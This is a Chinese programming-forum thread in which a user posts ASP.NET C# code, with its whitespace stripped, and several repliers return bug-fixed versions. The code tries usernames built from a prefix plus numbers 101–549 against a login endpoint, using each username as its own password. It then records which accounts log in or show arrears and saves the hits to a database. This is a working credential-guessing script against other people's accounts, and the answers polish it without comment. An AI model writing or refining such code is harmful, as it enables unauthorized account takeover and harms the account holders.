问题描述
usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Web;usingSystem.Web.UI;usingSystem.Web.UI.WebControls;usingNSoup;usingNSoup.Nodes;usingSystem.Configuration;usingSystem.Data.SqlClient;namespaceForum{publicpartialclassytu:System.Web.UI.Page{protectedvoidPage_Load(objectsender,EventArgse){}protectedvoidButton1_Click(objectsender,EventArgse){//链接初始化stringsqlconnstr=ConfigurationManager.ConnectionStrings["qds163053528_dbConnectionString"].ConnectionString;string[]numarray=null;intc=0;strings=null;Stringresult;inta;for(a=101;a<550;a++){s=TextBox1.Text+a.ToString();result=NSoupClient.Connect("http://www.xxx.com").Data("uname",s).Data("pass",s).Timeout(50000).Post().ToString();if(result.Contains("password_error")){continue;}elseif(result.Contains("username_error")){continue;}elseif(result.Contains("status_error")){Response.Write("<p>"+s+"欠费"+"</p>");continue;}else{numarray[c]=s+result;Response.Write(result);}c++;}SqlConnectionsqlconn=newSqlConnection(sqlconnstr);SqlCommandsqlcommand=newSqlCommand();sqlcommand.Connection=sqlconn;try{sqlconn.Open();for(intd=0;d<numarray.Length;d++){sqlcommand.CommandText="INSERTINTOuty(result)VALUES(@result)";sqlcommand.Parameters.AddWithValue("@result",numarray[d]);sqlcommand.ExecuteNonQuery();}}catch(Exceptionex){Label1.Text=ex.ToString();}finally{sqlcommand=null;sqlconn.Close();Response.Write("<p>"+"c插入成功"+"</p>");}}}}
解决方案
解决方案二:
贴出调试结果。你的调试器如果都不能定位在抛出异常的语句上,你如何进行真正的开发调试啊?
解决方案三:
总之感觉你的代码很错乱,在你的基础上改了一下,回去试试看usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Web;usingSystem.Web.UI;usingSystem.Web.UI.WebControls;usingNSoup;usingNSoup.Nodes;usingSystem.Configuration;usingSystem.Data.SqlClient;namespaceForum{publicpartialclassytu:System.Web.UI.Page{protectedvoidPage_Load(objectsender,EventArgse){}protectedvoidButton1_Click(objectsender,EventArgse){//链接初始化stringsqlconnstr=ConfigurationManager.ConnectionStrings["qds163053528_dbConnectionString"].ConnectionString;Dictionary<int,string>numDic=newDictionary<int,string>();intc=0;for(inta=101;a<550;a++){strings=TextBox1.Text+a.ToString();Stringresult=NSoupClient.Connect("http://www.xxx.com").Data("uname",s).Data("pass",s).Timeout(50000).Post().ToString();if(result.Contains("password_error")){continue;}elseif(result.Contains("username_error")){continue;}elseif(result.Contains("status_error")){Response.Write("<p>"+s+"欠费"+"</p>");continue;}else{numDic.Add(c,s+result);Response.Write(result);}c++;}SqlConnectionsqlconn=newSqlConnection(sqlconnstr);SqlCommandsqlcommand=newSqlCommand();sqlcommand.Connection=sqlconn;try{sqlconn.Open();for(intd=0;d<numDic.Count;d++){sqlcommand.CommandText="INSERTINTOuty(result)VALUES(@result)";sqlcommand.Parameters.AddWithValue("@result",numDic.Values.ElementAt(d));sqlcommand.ExecuteNonQuery();}}catch(Exceptionex){Label1.Text=ex.ToString();}finally{sqlcommand=null;sqlconn.Close();Response.Write("<p>"+"c插入成功"+"</p>");}}}}
解决方案四:
再给你去掉些无用的东西usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Web;usingSystem.Web.UI;usingSystem.Web.UI.WebControls;usingNSoup;usingNSoup.Nodes;usingSystem.Configuration;usingSystem.Data.SqlClient;namespaceForum{publicpartialclassytu:System.Web.UI.Page{protectedvoidPage_Load(objectsender,EventArgse){}protectedvoidButton1_Click(objectsender,EventArgse){//链接初始化stringsqlconnstr=ConfigurationManager.ConnectionStrings["qds163053528_dbConnectionString"].ConnectionString;List<string>numList=newList<string>();for(inta=101;a<550;a++){strings=TextBox1.Text+a.ToString();Stringresult=NSoupClient.Connect("http://www.xxx.com").Data("uname",s).Data("pass",s).Timeout(50000).Post().ToString();if(result.Contains("password_error")||result.Contains("username_error")){continue;}elseif(result.Contains("status_error")){Response.Write("<p>"+s+"欠费"+"</p>");continue;}else{numList.Add(s+result);Response.Write(result);}}SqlConnectionsqlconn=newSqlConnection(sqlconnstr);SqlCommandsqlcommand=newSqlCommand();sqlcommand.Connection=sqlconn;try{sqlconn.Open();for(intd=0;d<numList.Count;d++){sqlcommand.CommandText="INSERTINTOuty(result)VALUES(@result)";sqlcommand.Parameters.AddWithValue("@result",numList[d]);sqlcommand.ExecuteNonQuery();}}catch{Label1.Text=ex.ToString();}finally{sqlcommand=null;sqlconn.Close();Response.Write("<p>"+"c插入成功"+"</p>");}}}}
解决方案五:
少打了点字母,记事本打的,看不到错误提示usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Web;usingSystem.Web.UI;usingSystem.Web.UI.WebControls;usingNSoup;usingNSoup.Nodes;usingSystem.Configuration;usingSystem.Data.SqlClient;namespaceForum{publicpartialclassytu:System.Web.UI.Page{protectedvoidPage_Load(objectsender,EventArgse){}protectedvoidButton1_Click(objectsender,EventArgse){//链接初始化stringsqlconnstr=ConfigurationManager.ConnectionStrings["qds163053528_dbConnectionString"].ConnectionString;List<string>numList=newList<string>();for(inta=101;a<550;a++){strings=TextBox1.Text+a.ToString();stringresult=NSoupClient.Connect("http://www.xxx.com").Data("uname",s).Data("pass",s).Timeout(50000).Post().ToString();if(result.Contains("password_error")||result.Contains("username_error")){continue;}elseif(result.Contains("status_error")){Response.Write("<p>"+s+"欠费"+"</p>");continue;}else{numList.Add(s+result);Response.Write(result);}}SqlConnectionsqlconn=newSqlConnection(sqlconnstr);SqlCommandsqlcommand=newSqlCommand();sqlcommand.Connection=sqlconn;try{sqlconn.Open();for(intd=0;d<numList.Count;d++){sqlcommand.CommandText="INSERTINTOuty(result)VALUES(@result)";sqlcommand.Parameters.AddWithValue("@result",numList[d]);sqlcommand.ExecuteNonQuery();}}catch(Exceptionex){Label1.Text=ex.ToString();}finally{sqlcommand=null;sqlconn.Close();Response.Write("<p>"+"c插入成功"+"</p>");}}}}